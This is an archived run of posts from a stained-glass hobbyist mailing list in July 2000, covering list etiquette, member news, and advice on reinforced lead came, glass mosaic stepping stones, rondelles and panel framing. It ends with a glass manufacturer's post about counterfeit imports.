meal,  a glass of wine, bucket-fuls of margueritas and many a late 
night / early morning bunch of fun and laughter.

Nothing has really changed;
there is just one or two of us who have to step back for a little 
while, catch breath, catch up on the mondanity of Life before we 
can dive back in there again.

The mondanities in my own life have been that for about 2.5 
months I was virtually immobile due to a couple of broken ribs, then 
I crushed a toe, then I have had 2 car accidents (one of which has 
developed into a court case), then my my 5ft.11in.  friend Jenny 
(the one who joined me in USA - who has vertigo and climbed the 
Grand Canyon) decided she was going to scorch the ivy of the old 
shed at the back of our jointly bought workshop/ studio with a 
gallon of petrol. The result??: Scorched (red) hair, burned eye-
brows, burnt face and a fairly severely burnt right arm and hand.
 Oh yes... by the by..... there has also been 3 funerals (Jenny 
survived cantankerously her ordeal...).

However. I bought a number of s.g. books in USA during my 
journeys and STILL wonder how to make a gnomen work.... ;-)

Elisabeth, Toby ('n Meric) in UK

> Message text written by Ken & Geneva Pepper
> >What ever happened to Patrick and his glass tutu?
> What about Elizabeth from the UK and her side-kick Toby? LOLOLOL
> Is the witch doctor gone as well??  There were many others..... The
> great glass info these memorable and often humorous characters imparted
> (as well as the spontaneous side trips into OT) was priceless.  =
> 
> Spontenaiety
> was the key word and deed - Rigidity will stifle ANYTHING!<
> 
> Can't say for Patrick & his famous (infamous) glass tutu.  Perhaps he got=
> 
> lost in
> the expanse of the Atlantic.  Elisabeth & Toby are still here.  As for th=
> e
> witch doctor,
> she's no longer working for me, and she's not replying to any of my email=
> s
> or to
> emails from IGGA board members either.  So I suspect she's ?dropped out?
> of glass work ?temporarily?, much to our loss.
> 
> Christie A. Wood
> North Wales, PA USA
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass
> 


----
As my grandmother said "...there is only nobility of mind"
North Lights Stained Glass - homepage
http://www.netlink.co.uk/users/kris/northlights/index.htm 
----
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From owner-glass Sat Jul  8 18:00:28 2000
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From: CWicks6159@aol.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Egyptian Patterns
Date: Sat, 8 Jul 2000 20:49:44 EDT
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Hi everyone, its been awhile since I've put in my so called 2-cents worth.  
Here is my opinion about the wonderful information about the British Museum.  
It gave us all a starting point although everyone knows the Egyptians didn't 
work in stained glass.  Their style was more of a mosaic technique (and this 
is from a person who struggled thru every history class I ever needed to 
take).  So for all of you critics out their who voiced their sarcastic 
comments due to a play on words, to you I say: Shame! Shame!

Thank you to you who provided us with such a good suggestion.

Cyndie 
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Content-Type: multipart/mixed; boundary="part1_76.ee945c.26992997_boundary"
Subject: Fwd: Photographing windows
Date: Sat, 8 Jul 2000 21:04:23 EDT
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--part1_76.ee945c.26992997_boundary
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FYI --- for you all.  Hope it helps someone.

Cyndie 

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Date: Sat, 8 Jul 2000 19:59:06 EDT
Subject: Re: Photographing windows
To: candy@ghostman.com
CC: CWicks6159@aol.com
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Hi Candy,

Here's a good answer to your question based on personal experience.  I've got 
a 
Sony Digital Mavica.  Its been so great to use and takes little effort to 
learn how to use it.  The reasons I purchased this particular one is the 
following.

1.  Two friends of mine had one and have never had problems with it and it 
spits out great results.

2.  You don't need to hookup any special gadgets to your computer to 
view/print.  The pictures are saved on a 3 1/2" diskette within the camera.  
It comes with a battery charger and a nice long shoulder strap to carry it 
around.

The price here in Hawaii was around $500 and that was with my friends' 
business discount.  The two guys own and operate a computer business of which 
one is the hardware person and the other for software.  The company repairs, 
build from scratch and more with computers.  They also do instructional 
classes if you want to learn a particular program or if you have no idea how 
to use a computer.  

I hope this info will help you make a decision which camera would best suit 
your needs. 

Cyndie Wicks
Plantastics

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From owner-glass Sat Jul  8 19:03:21 2000
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From: Ken & Geneva Pepper <bitsie@jps.net>
To: Toby <toby@northlights.co.uk>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Re: posting replies to the list; Was: getting old
Date: Sat, 08 Jul 2000 19:09:35 -0700
Message-ID: <1970Jan1.000.0>
References: <<200007082229.e68MT2a21813@mercury.nildram.co.uk>>
Precedence: bulk

Nice to hear from you again Elizabeth!  
And hope things turn around for you real soon!  Yeah - guess we all need
change from time to time, or it is forced on us - and there are only so
many hours in a day :-)  But it is nice to know that you are still out
there in Bungi Land - guess most are still around.
Geneva

Christie - Didn't you catch Patricks post?  He is still a riot a minute
- LOLOL

NG.. Lurking ("patkel" , 7/7/00 18:48)
To: 
    <glass@bungi.com>


Be afraid..... be very afraid.... I am here ... lurking. Waiting
to pounce
on that Brit with those slobbering mops she calls dogs. The glass
tutu is
being repaired as we speak. The bald head is being polished.

LOL... I am still here... you can never get rid of me....

Patrick
Roses and Rainbows

Elizabeth wrote

> The mondanities in my own life have been that for about 2.5
> months I was virtually immobile due to a couple of broken ribs, then
> I crushed a toe, then I have had 2 car accidents (one of which has
> developed into a court case), then my my 5ft.11in.  friend Jenny
> (the one who joined me in USA - who has vertigo and climbed the
> Grand Canyon) decided she was going to scorch the ivy of the old
> shed at the back of our jointly bought workshop/ studio with a
> gallon of petrol. The result??: Scorched (red) hair, burned eye-
> brows, burnt face and a fairly severely burnt right arm and hand.
>  Oh yes... by the by..... there has also been 3 funerals (Jenny
> survived cantankerously her ordeal...).
> 
> However. I bought a number of s.g. books in USA during my
> journeys and STILL wonder how to make a gnomen work.... ;-)
> 
> Elisabeth, Toby ('n Meric) in UK
>

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From owner-glass Mon Jul 10 03:27:37 2000
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X-Path: go.com!officerjqg
From: James Garner <officerjqg@go.com>
To: glass@bungi.com
Content-Type: text/plain; charset=iso-8859-1
Subject: I forgot to label my first posting it was Mosaics  this is reenforcing
Date: Mon, 10 Jul 2000 02:41:28 -0700 (PDT)
Message-ID: <1970Jan1.000.0>
Precedence: bulk

I saw at a online supply sight, thanks to Candy, a lead line the had brass in the middle.  It said it was re enforced.  This seemed like a good idea, maybe a way to hide the reenforcement.  You cant tell its there except the rim is a little bigger.  What do you think.


                                           James

___________________________________________________
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From owner-glass Mon Jul 10 03:56:59 2000
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X-Path: arrakis.es!kiram
From: "Kira Mason" <kiram@arrakis.es>
To: "bungi" <glass@bungi.com>
Subject: RE: posting replies to the list; Was: getting old
Date: Mon, 10 Jul 2000 12:46:53 +0200
Message-ID: <1970Jan1.000.0>
Precedence: bulk

I totally agree!!
Kira
-----Mensaje original-----
De: Nancy Mullins <Nancy@thebeach.mv.com>
Para: Shari <shigbee@mtcon.net>
Fecha: viernes 7 de julio de 2000 18:00
Asunto: Re: posting replies to the list; Was: getting old


>I am fairly new to this list and to stained glass and I would like to share
>my view.  Mind you it is MY view.  I joined this list so that I could learn
>from other folks who, in most cases have much more experience than I.  It
>doesn't do me any good to just read questions and not have the luxury of
>reading the responses.  There is one key on this keyboard that I
cherish....
>the DELETE key.  It is one thing I do have control over in this day and age
>and that is what I read or don't read.  Folks, if you don't care to read
the
>responses then hit the delete key!  It is that simple and it doesn't take
>that much of your time.  To all of you who respond to the "whole" list.....
>I say a BIG THANKS!  I have learned so much from all of your discussions
and
>experience.  If the format is to be just questions then I guess I will say
>adios!
>Just my humble opinion folks.
>Nancy Mullins
>----- Original Message -----
>From: "Shari" <shigbee@mtcon.net>
>To: "Bungi" <glass@bungi.com>
>Sent: Friday, July 07, 2000 10:49 AM
>Subject: Re: posting replies to the list; Was: getting old
>
>
>> Sorry but I disagree. There doesn't seem to be any value in having a
glass
>> list where all you read are the questions. I figure I can always learn
>some
>> new tricks and pick up a neat new tip here and there, but that is
>impossible
>> when the replies are sent to the questioner only.
>>
>> If this list is meant to post just questions, then maybe it should be a
>> bulletin board instead of a list. I've been very sorry to see the list
>take
>> this direction over the past several months--it really has lost almost
all
>> its value, in my opinion. We've certainly cut out any non-glass chatter,
>but
>> have also cut out all glass-related info.
>>
>> If anyone cared or wondered what my vote would be, I'd vote to change it
>> back to all replies go to the list. JMHO...
>>
>> Shari in SLC
>>
>
>
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From owner-glass Mon Jul 10 04:02:05 2000
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From: "Kira Mason" <kiram@arrakis.es>
To: "bungi" <glass@bungi.com>
Subject: RE: posting replies to the list; Was: getting old
Date: Mon, 10 Jul 2000 12:48:26 +0200
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Once again, I TOTALLY AGREE!!
-----Mensaje original-----
De: Ken & Geneva Pepper <bitsie@jps.net>
Para: Shari <shigbee@mtcon.net>
Fecha: viernes 7 de julio de 2000 18:29
Asunto: Re: posting replies to the list; Was: getting old


>I agree with you 100% Shari.  This is not the same list I signed up with
>almost 2 years ago!  Back then it was my favorite list - and because of
>squabbles and rigid pettiness many of the best contributors have flown
>the coop.  I used to love all the fun and banter and free spiritness of
>the participants, because along with that went tons of great glass info
>- both aspects have faded away!
>
>True, I am a listener (lurker) and not usually a contributor - and
>perhaps I don't have a right to kick - but I, like many I suspect, have
>rather severe time limitations and really not much to contribute - as I
>am still learning - I will get involved with glass one day when time
>permits.  In the meantime I greatly appreciate the learning process and
>read off-line and am usually way behind in reading.  The lightness and
>frivolity of "the list that once was" made the learning process fun and
>a real pleasure.  I was down for 6mos and came back to an entirely
>different list........ What ever happened to Patrick and his glass tutu?
>What about Elizabeth from the UK and her side-kick Toby? LOLOLOL
>Is the witch doctor gone as well??  There were many others..... The
>great glass info these memorable and often humorous characters imparted
>(as well as the spontaneous side trips into OT) was priceless.
>Spontenaiety
>was the key word and deed - Rigidity will stifle ANYTHING!
>
>My 2 pesos
>Geneva
>
>Shari wrote:
>>
>> Sorry but I disagree. There doesn't seem to be any value in having a
glass
>> list where all you read are the questions. I figure I can always learn
some
>> new tricks and pick up a neat new tip here and there, but that is
impossible
>> when the replies are sent to the questioner only.
>>
>> If this list is meant to post just questions, then maybe it should be a
>> bulletin board instead of a list. I've been very sorry to see the list
take
>> this direction over the past several months--it really has lost almost
all
>> its value, in my opinion. We've certainly cut out any non-glass chatter,
but
>> have also cut out all glass-related info.
>>
>> If anyone cared or wondered what my vote would be, I'd vote to change it
>> back to all replies go to the list. JMHO...
>>
>> Shari in SLC
>>
>> > It is good to get information on why and how and so forth,
>> >
>> > BUT..............It would be EVEN better if the posts were directed to
>> those
>> > who have had trouble or are interested, rather than the list as a
whole!
>> We
>> > have discussed (in great depth) about directing the posts to specific
>> users.
>> >
>>
>> ----
>> For subscription changes, please mail to: glass-request@bungi.com
>> To send to the list,      please mail to: glass@bungi.com
>> Archives available at http://www.bungi.com/glass
>
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From owner-glass Mon Jul 10 04:29:13 2000
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X-Path: go.com!officerjqg
From: James Garner <officerjqg@go.com>
To: glass@bungi.com
Content-Type: text/plain; charset=iso-8859-1
Subject: Gatewayed mail message
Date: Mon, 10 Jul 2000 02:36:27 -0700 (PDT)
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Hello all,
     I want to start with a new question.  Fell free to respond in what ever the format was agreed on (it was agreed on right?) 
 Up to now I have been doing only your regular stained glass and I am ready to start with something new.  After reading recent replies to various things I thought its now time to try mosaics.  
 I saw the reply about the bird baths with the gold fish and thought the idea was unique.  There is one problem... The people in my town ,which is generally about 10 years behind, does love there bird baths seem only to be interested in the type of bird baths that are generally the plastic ones that you would find in the blue light special area of the local value mart.  
     I have had this idea in the back of my mind (what little is left) of the steeping stones.  I figure that even if they did not sell here I could do some for me personally.  I can invasion a vast laid out setup of colorful and tastefully designed (If I do say so myself) pieces of work laid throughout my garden.  You never know maybe someone else's garden too.  So this is what I was thinking.
     I saw the post that described using Stones that are already done instead of mixing your own.  I figured that was a good idea..  Cut some glass to fit the patterns in my head glue it on the stone *****what type of glue do you use***** fill with grout colored to match the stone dry and call it a day.  Am I on the right track?
     Those pros who know let me know so that I don't have to do to much trial and error.

O' yeah Happy Birthday to me.  Anyone who would like to send lots of cash in small unmarked bills let me know I will rush my address (Small town cops do get paid to good)I'm 27 years old and don't feel a day older than .....   well    27.


                                  Thanks   James


___________________________________________________
GO Network Mail                                    
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From owner-glass Mon Jul 10 06:01:44 2000
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From: "Albert Lewis" <alewis@alpha.nad.adelphia.net>
To: glass@bungi.com
Subject: Re: reinforcement
Summary: Authenticated sender is <alewis@pop.nad.adelphia.net>
Date: Mon, 10 Jul 2000 06:59:37 +0000
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> I saw at a online supply sight, thanks to Candy, a lead line the had
> brass in the middle. 

You might be talking about Re-Strip. A 25-foot length is $3 at 
http://www.gspbeadandglass.com/metals.htm#restrip but it's also 
available at many other online glass suppliers' web sites.

Albert
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From owner-glass Mon Jul 10 06:32:41 2000
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From: James Garner <officerjqg@go.com>
To: glass@bungi.com
Content-Type: text/plain; charset=iso-8859-1
Subject: Mosaics
Date: Mon, 10 Jul 2000 05:55:03 -0700 (PDT)
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Well hello there,
     I thought I would get some more questions out there for people to pond=
er.  I have been doing your standard run of the mill stained glass pieces f=
or a wile and now am looking to get rid of all that small glass I have and =
expand my knowledge of the craft of glass.  I have read all the replies and=
 thought of one and ended settling on another.
     Another bungian wrote about her birdbath with the gold fish.  I though=
t this was an excellent idea and defiantly original but there is one slight=
 problem.  I live in an area that loves birdbaths which is good.  But, the =
only birdbaths that seem to make it to the lawns are the cheap plastic ones=
 that you would expect to find at a blue light special in the local stuff m=
art.  Therefore it does noit seem likely that I would be able to unload the=
m in the near century.
     That=92s why I settled on stepping stones.  I have had ideas in the ba=
ck of my mind (what little there is left) that would look great on stepping=
-stones.  The only problem is I don=92t know what to do.  I assume that it =
is better to buy the stone already done at a hardware shop instead of buyin=
g all the things you need to make a stone.  I assume you glue the glass pie=
ces to the stone but don=92t know what type of glue to get and lastly groun=
t the spaces with standard grout with coloring to match the stone.  Am I on=
 the right track?

     O yeah I thought I would mention that it is my birthday today.  I am 2=
7 and I don=92t feel a day older than =85 well=85..27.  I am willing to exc=
ept large amounts of cash from anyone (small town cops don=92t get paid)  I=
 prefer the cash in small unmarked bills.  Let me know and I will rush my m=
ailing address ASAP.

     And lastly I would like to send out an appreciation to the bungian tha=
t wrote about looking back at life etc.  My father called me last night aft=
er about ten years of silence.  It was odd because his lifestyle is one tha=
t I deal with every night I go on duty and so I did not expect to ever hear=
 from him again.  A lot of what was written was really true.  I only hope I=
 will someday be able to craft word like that.
                                   James Garner

James Garner
___________________________________________________
GO Network Mail                                   =20
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From owner-glass Mon Jul 10 08:37:32 2000
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X-Path: compuserve.com!Ensembles
From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: Mosaic'ed stones
Date: Mon, 10 Jul 2000 09:18:27 -0400
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Message text written by James Garner
> I saw the reply about the bird baths with the gold fish and thought the=

idea was unique.  There is one problem... The people in my town ,which is=

generally about 10 years behind, does love there bird baths seem only to =
be
interested in the type of bird baths that are generally the plastic ones
that you would find in the blue light special area of the local value mar=
t.
 =

     I have had this idea in the back of my mind (what little is left) of=

the steeping stones.  I figure that even if they did not sell here I coul=
d
do some for me personally.  I can invasion a vast laid out setup of
colorful and tastefully designed (If I do say so myself) pieces of work
laid throughout my garden.  You never know maybe someone else's garden to=
o.
 So this is what I was thinking.
     I saw the post that described using Stones that are already done
instead of mixing your own.  I figured that was a good idea..  Cut some
glass to fit the patterns in my head glue it on the stone *****what type =
of
glue do you use***** fill with grout colored to match the stone dry and
call it a day.  Am I on the right track?
     Those pros who know let me know so that I don't have to do to much
trial and error.<

Use GE Silicon II Clear for your glue.  It bonds slick surface
(such as glass) to porus surface (such as concrete or brick)
very well, and is waterproof and sets up well within 5-10 minutes.
After grouting & clean up I always file down the edges of the
glass which might be sticking up a tiny bit.  Use a metal file
or a file specifically for concrete.  Buy the dry grout and mix
your own.  This is much more efficient than purchasing wet
grout.

Christie A. Wood
North Wales, PA USA
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From owner-glass Mon Jul 10 09:00:49 2000
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From: NEICYDENN@aol.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re:Gatewayed mail message (stepping stones)
Date: Mon, 10 Jul 2000 10:19:23 EDT
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In a message dated 7/10/2000 6:29:52 AM Central Daylight Time, 
officerjqg@go.com writes:

<<  I saw the post that described using Stones that are already done instead 
of mixing your own.  I figured that was a good idea..  Cut some glass to fit 
the patterns in my head glue it on the stone *****what type of glue do you 
use***** fill with grout colored to match the stone dry and call it a day.  
Am I on the right track?
      Those pros who know let me know so that I don't have to do to much 
trial and error. >>

Happy Birthday James! Sorry can't send cash, only advice :)

I have made stones that way for about 4 years. I use ceramic tile adhesive to 
"glue the glass to the store bought stone & sanded ceramic tile grout. You 
will want to seal the stone when every thing has dried, I usually wait a 
couple of weeks to seal.
They turn out beautifully, IMHO. They also hold up great in the Minnesota 
weather, never have to bring them in out of the cold.

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From owner-glass Mon Jul 10 09:07:07 2000
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From: Dee Thompson <deethom@erols.com>
To: glass@bungi.com
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Subject: Re: reinforcement
Date: Mon, 10 Jul 2000 11:52:44 -0400
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At 06:59 AM 7/10/00 +0000, you wrote:
>> I saw at a online supply sight, thanks to Candy, a lead line the had
>> brass in the middle. 

I.ve seen it but haven't used it myself.  Heard it recommended for doors,
especially and you need to use a saw to cut it. It's pretty stiff, so is a
bit hard to use in deep curves.
Dee
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From owner-glass Mon Jul 10 09:52:10 2000
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From: Bobfuses@aol.com
To: glass@bungi.com
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In a message dated 7/10/00 9:08:41 AM Pacific Daylight Time, 
deethom@erols.com writes:

> I saw at a online supply sight, thanks to Candy, a lead line the had
> brass in the middle. 

Sounds like Cascade brass reinforced lead came. I use a lot of it. It can be 
cut with dikes or a saw.  It bends around curves without much problem but is 
quite stiff otherwise. IMO, it is well worth the extra cost and effort to use.

Cheers, Bob in 9 2 0 2 6

Ps: For some reason unknown to me I have never had a blank post from bungi.
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From owner-glass Mon Jul 10 10:10:21 2000
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From: Beveler4@aol.com
To: NEICYDENN@aol.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: Gatewayed mail message (stepping stones)
Date: Mon, 10 Jul 2000 12:41:14 EDT
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Hi ,
Yes they do turn out nice doing them that way The only thing that you have to 
do is make a form around them for the grout that you are going to put on the 
top,I usually make it out of metal and bend the ends where it meets and then 
clamp it with regular c clamps. The metal should be the height of the stone 
plus the 1/8 in for the glass.As for glue you can use E-6000 or liquid nails 
you should be able to get either of these at any hardware store.
Beveler4 (Stan)
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From owner-glass Mon Jul 10 10:13:36 2000
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From: "Christie A. Wood" <Ensembles@compuserve.com>
To: Bungi <glass@bungi.com>
Content-Type: text/plain;
Subject: Lead reenforcing
Date: Mon, 10 Jul 2000 09:18:23 -0400
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Message text written by James Garner
>I saw at a online supply sight, thanks to Candy, a lead line the had bra=
ss
in the middle.  It said it was re enforced.  This seemed like a good idea=
,
maybe a way to hide the reenforcement.  You cant tell its there except th=
e
rim is a little bigger.  What do you think.
<

This is called "heart of brass" lead.  Very commonly used to add
strength to leaded projects.  Excellent to use.  Abit harder to cut
than regular lead, but that's the idea, isn't it?  As long as you account=

for the difference in heart diameter size then you're fine using it.

Christie A. Wood
North Wales, PA USA
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From owner-glass Mon Jul 10 11:03:07 2000
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From: "D. ONeal" <Moya-Don@worldnet.att.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Mosaics for James Garner
Date: Mon, 10 Jul 2000 08:07:43 -0400
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Yes James, it can be done and much as you describe.
1. Glue your glass pieces onto the stone (most folks I have seen recommend
Liquid Nails for small projects.)  Let dry completely so your glass will not
shift during grouting.

2.  Grout with whatever color you wish.  For a smoother finish get unsanded
grout.  Be sure to cover the top evenly as well as the sides.  Your grout
should be the consistency of thick oatmeal.  Let dry at least 24 hours.

3.  Clean your project up with a wet sponge so the glass sparkles and let
dry another 24 hours.

4.  Use a finishing compound to protect your stone and let dry again.

5.  Use and enjoy.  Like all stepping stones be sure you lay it flat,
preferable on a sand base so that it does not get uneven weight pressure and
break.

6.  This is how I make mine so it is a personal opinion.
Moya

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From owner-glass Mon Jul 10 11:17:26 2000
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From: "Toby" <toby@northlights.co.uk>
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Subject: Re: teaching classes
Date: Mon, 10 Jul 2000 18:31:53 +0100
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Albert mentioned it once in this thread, and I would like to add to 
his recommendation.
Peggy Johnsen (who also graces Bungi with her presence) wrote a 
s.g. teaching manual  a couple of years ago, aimed at those who 
teach, It is a thoughtful and comprehensive manual from an 
experienced teacher, gracious and generous enough to want to 
pass on good teaching.
Well worth getting!

Elisabeth 'n Toby in UK


Steve Richards wrote:
> You will have seen my reply on the subject of classes in a previous e-
> mail.  These comments apply to you too.
> 
> In addition a few comments occur to me.  I know that they will sound
> rude to you and to the other enquirer, but they are meant kindly (as we
> all have to start somewhere).
>         Are you qualified to teach the craft and art of stained glass?
> what kind of feedback have you had on the teaching you have done?  What
> are your strengths as a craftsperson and as a teacher & what are your
> weaknesses?  You have to play to your strengths and find ways of
> minimising your weaknesses.
>         Have you thought about a syllabus?  What are you going to teach,
> and to what level?  What are your objectives for the students?  What do
> you think the students objectives will be?
> 
> These are actually more important issues than the costs of supplies, or
> even class pricing.  I guess I am old fashioned enough to want the
> students to have an enjoyable time learning the techniques of stained
> glass with a knowledgeable class leader and produce a well crafted
> panel.
> 
>
----
As my grandmother said "...there is only nobility of mind"
North Lights Stained Glass - homepage
http://www.netlink.co.uk/users/kris/northlights/index.htm 
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From owner-glass Mon Jul 10 11:31:33 2000
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From: "synergy glass" <seaspray@island.net>
To: "James Garner" <officerjqg@go.com>, <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: I forgot to label my first posting it was Mosaics  this is reenforcing
Date: Mon, 10 Jul 2000 07:34:38 -0700
Message-ID: <1970Jan1.000.0>
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James...

Brass reinforced lead is HORRIBLE to work with.  (Just my 2 cents worth)

You need a saw for each and every cut you make...you'll wreck your lead
nippers if you try to use them to cut the brass (and they don't cut it
anyway).  It's also a slightly different size than regular lead, so you need
to be very careful about where/how in the design you use it.  Unless the
different size adds a design element to the panel, you'll have to use it
throughout which will greatly add to the time to produce a panel, and as we
all know, time is money.

By the way, I have a bunch I'd like to sell cheap if anyone's interested.

C.

Carol Swann
Synery Glass & Creative
www.igga.org/synergy
seaspray@island.net
-----Original Message-----
From: James Garner <officerjqg@go.com>
To: glass@bungi.com <glass@bungi.com>
Date: Monday, July 10, 2000 3:31 AM
Subject: I forgot to label my first posting it was Mosaics this is
reenforcing


>I saw at a online supply sight, thanks to Candy, a lead line the had brass
in the middle.  It said it was re enforced.  This seemed like a good idea,
maybe a way to hide the reenforcement.  You cant tell its there except the
rim is a little bigger.  What do you think.
>
>
>                                           James
>
>___________________________________________________
>GO Network Mail
>Get Your Free, Private E-mail at http://mail.go.com
>
>
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From owner-glass Mon Jul 10 11:32:22 2000
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From: "Mary B" <marybdaily@hotmail.com>
To: nbg3755@juno.com, glass@bungi.com
Content-Type: text/plain; format=flowed
Subject: Re: question about tents ... not totally glass related
Date: Mon, 10 Jul 2000 13:34:12 EDT
Message-ID: <1970Jan1.000.0>
Precedence: bulk

One economical way to add weight to your EZ Up is to use 3" PCV pipe cut to 
3' lengths and filled with cement. I made four of these and before adding 
the cement I put a handle on each one to facilitate transporting. You can 
also silicone glue end caps on them to make them look better.
________________________________________________________________________
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From owner-glass Mon Jul 10 11:34:46 2000
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From: Dee Thompson <deethom@erols.com>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"
Subject: Re: Mosaic'ed stones
Date: Mon, 10 Jul 2000 12:49:52 -0400
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snipped... I figure that even if they did not sell here I could
>do some for me personally.  ...snipped

Happy Birthday James!

I find if I make something for me in the style and extra effort I"d want
for my home, it is more likely to sell. If it does stay around for a while,
I'm really happy while it's here and sad to see it go.  
Haven't done any stones tho!
Dee
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From owner-glass Mon Jul 10 14:35:45 2000
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From: Skip Hodge <shodge@gdi.net>
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Subject: Get together
Date: Mon, 10 Jul 2000 15:19:09 -0400
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Hello Fellow Bungians,

It occurs to me that there must be quite a few Bungians in the Central
Florida area. I am thinking that we should have a get together one of
these evenings before summer ends. Anybody interested can send me an
e-mail and I will co-ordinate the time and place.

Skip
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From owner-glass Mon Jul 10 15:25:29 2000
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From: Skip Hodge <shodge@gdi.net>
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Subject: Get together
Date: Mon, 10 Jul 2000 15:19:09 -0400
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Hello Fellow Bungians,

It occurs to me that there must be quite a few Bungians in the Central
Florida area. I am thinking that we should have a get together one of
these evenings before summer ends. Anybody interested can send me an
e-mail and I will co-ordinate the time and place.

Skip
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From owner-glass Mon Jul 10 22:42:51 2000
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From: DeeDee1008@aol.com
To: glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: frame
Date: Mon, 10 Jul 2000 22:21:14 EDT
Message-ID: <1970Jan1.000.0>
Precedence: bulk

I have done a panel in copper foil with much reinforcement throughout the 
window.  The size is approx 2 ft by 5 ft and weighs 25 lbs.  I have framed it 
in 1/2 inch zinc came and hope that will be strong enough to hold its weight. 
 However, I have been recommended to frame it in wood, as well.  Is this 
really necessary?  I do not want
to, but I aslo do not want to repair it should it fall someday.  I feel the 
piece is well  made and strong, and expect the wood frame is not required.  
But...... what do you think??? Thanks to all for helping by responding.  Dee  
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From owner-glass Tue Jul 11 07:32:13 2000
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Subject: Rondelles
Date: Tue, 11 Jul 2000 10:02:01 EDT
Message-ID: <1970Jan1.000.0>
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Forgive me if this is a duplicate posting, not sure if first one went thru...

I am going to be incorporating 4 rondelles into a victorian design. I have 
never used rondelles before.  My husband and I disagree as to which side is 
the right (best)side of the rondelle.  We are making a panel with English 
Muffle glass, and I want the rondelle's non apexed side facing out...my 
husband thinks it should go apex side out.  We are using antique rondelles, 
and the nippled apex seems very rough. I think the rondelle is best viewed 
from the flat side.  Can you advise?
Thanks.......
Ronda
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From owner-glass Tue Jul 11 07:33:01 2000
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From: "Mike Larson" <armstrongglass@mindspring.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: Proudly Manufactured in the USA
Date: Tue, 11 Jul 2000 10:01:56 -0400
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This is a multi-part message in MIME format.

------=_NextPart_000_000A_01BFEB1F.0BDE6120
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi Bob, Moya, Candy and all others that have been following the glass =
discussion on where Armstrong Glass is manufactured.  100% of Armstrong =
Glass is very proudly made in Jasper, Georgia.  The Chinese have been =
knocking off our glass now for three years.  Not only are they copying =
our designs, they use our same stock numbers.  They are in fact, =
"pirating" Armstrong Glass. Our glass is not being imitated because it =
is easy to duplicate, but rather, because our colors are so unique.  The =
Chinese have not learned why our glass has such a brilliant sheen so it =
is easy to spot a fake.=20

Somebody made a comment about what difference it makes whether the glass =
is manufactured in China or manufactured in the U.S.  If the U.S. glass =
companies stop making glass, what you see is what you get, forever!  The =
Chinese imitate but never inovate. =20

The U.S. glass manufacturers spend hundreds of thousands of dollars =
every year on advertising and promotion, teaching, R & D, customer =
service and design.  The Chinese simply copy the design, pay their labor =
$1.00 per day and it's off to the races. This glass is poorly annealed, =
often does not even transmit light, and is very inconsistent in color =
and mix.

Regarding Bob's comment on seeing crates of "Armstrong Glass, Made in =
China", you were not seeing things.  These cases of glass clearly show =
the bold faced deception that is going on in our industry.  And by the =
way, there are wholesalers that stock this glass with no mention of it's =
origin.

I hope this helps clear up any confusion.  Feel free to e-mail me or =
call us at (706) 692-7660.  For a complete list of our hard working and =
trusted wholesalers check our distributor list at =
www.armstrongglass.com. =20

Sincerely,
Michael Larson
President, Armstrong Glass Company =20

------=_NextPart_000_000A_01BFEB1F.0BDE6120
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hi Bob, Moya, Candy and all others that =
have been=20
following the glass discussion on where Armstrong Glass&nbsp;is=20
manufactured.&nbsp; 100% of Armstrong Glass is very proudly made in =
Jasper,=20
Georgia.&nbsp;&nbsp;The Chinese have been knocking off our glass now for =
three=20
years.&nbsp; Not only are they&nbsp;copying our designs, they use our =
same stock=20
numbers.&nbsp; They are in fact, "pirating" Armstrong Glass. Our glass =
is not=20
being imitated because it is easy to duplicate, but rather, because our =
colors=20
are so unique.&nbsp; The Chinese have not learned why our glass has such =
a=20
brilliant sheen so it is easy to spot a fake. </FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Somebody made a comment about what =
difference it=20
makes whether the glass is manufactured in China or manufactured in the=20
U.S.&nbsp; I</FONT><FONT face=3DArial size=3D2>f the U.S. glass =
companies stop=20
making glass, what you see is what you get, forever!&nbsp; The Chinese =
imitate=20
but never inovate.&nbsp; </FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>The U.S. glass manufacturers spend =
hundreds&nbsp;of=20
thousands of dollars every year on advertising and promotion, =
teaching,&nbsp;R=20
&amp; D, customer service and design.&nbsp; The Chinese simply copy the =
design,=20
pay their labor $1.00 per day and&nbsp;it's off to the races. This glass =
is=20
poorly annealed, often does not even transmit light, and is very =
inconsistent in=20
color and mix.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Regarding Bob's comment on seeing =
crates of=20
"Armstrong Glass, Made in China",&nbsp;you were not seeing=20
things.&nbsp;&nbsp;These cases of glass&nbsp;clearly show the bold faced =

deception that is going on in our industry.&nbsp; And by the way, there =
are=20
wholesalers that stock this glass&nbsp;with no mention of it's=20
origin.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>I hope this helps clear up any =
confusion.&nbsp;=20
Feel free to e-mail me or call us at (706) 692-7660.&nbsp; For a =
complete list=20
of our hard working and trusted wholesalers check our distributor list =
at <A=20
href=3D"http://www.armstrongglass.com">www.armstrongglass.com</A>.&nbsp;&=
nbsp;</FONT></DIV>
